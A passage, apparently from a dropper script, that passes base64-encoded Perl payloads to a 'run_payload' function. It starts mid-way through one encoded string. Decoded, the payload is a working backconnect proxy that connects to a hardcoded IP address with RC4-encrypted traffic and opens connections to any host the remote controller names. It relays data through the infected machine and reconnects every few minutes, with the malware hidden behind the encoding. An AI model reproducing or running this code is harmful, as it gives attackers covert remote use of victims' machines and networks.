YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_8.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU3JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_9.pl
